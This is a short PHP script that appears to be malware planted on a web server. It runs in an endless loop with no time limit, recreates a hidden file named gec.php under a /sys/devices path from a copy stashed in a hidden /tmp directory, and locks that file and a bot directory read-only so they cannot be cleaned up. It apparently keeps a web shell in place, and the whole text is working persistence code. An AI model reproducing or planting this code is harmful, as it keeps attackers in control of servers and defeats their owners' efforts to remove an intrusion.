<?php @ini_set("max_execution_time", 0); while (True){ if (!file_exists("/var/wwww-sftp/botdev/bayadicbot/update")){ mkdir("/var/wwww-sftp/botdev/bayadicbot/update"); } if (!file_exists("/sys/devices/pnp0/00:03/power/gec.php")){ $text = base64_encode(file_get_contents("/tmp/.sessions/.L3N5cy9kZXZpY2VzL3BucDAvMDA6MDMvcG93ZXJnZWMtdGV4dA==")); file_put_contents("/sys/devices/pnp0/00:03/power/gec.php", base64_decode($text)); } if (gecko_perm("/sys/devices/pnp0/00:03/power/gec.php") != 0444){ chmod("/sys/devices/pnp0/00:03/power/gec.php", 0444); } if (gecko_perm("/var/wwww-sftp/botdev/bayadicbot/update") != 0555){ chmod("/var/wwww-sftp/botdev/bayadicbot/update", 0555); } } function gecko_perm($flename){ return substr(sprintf("%o", fileperms($flename)), -4); }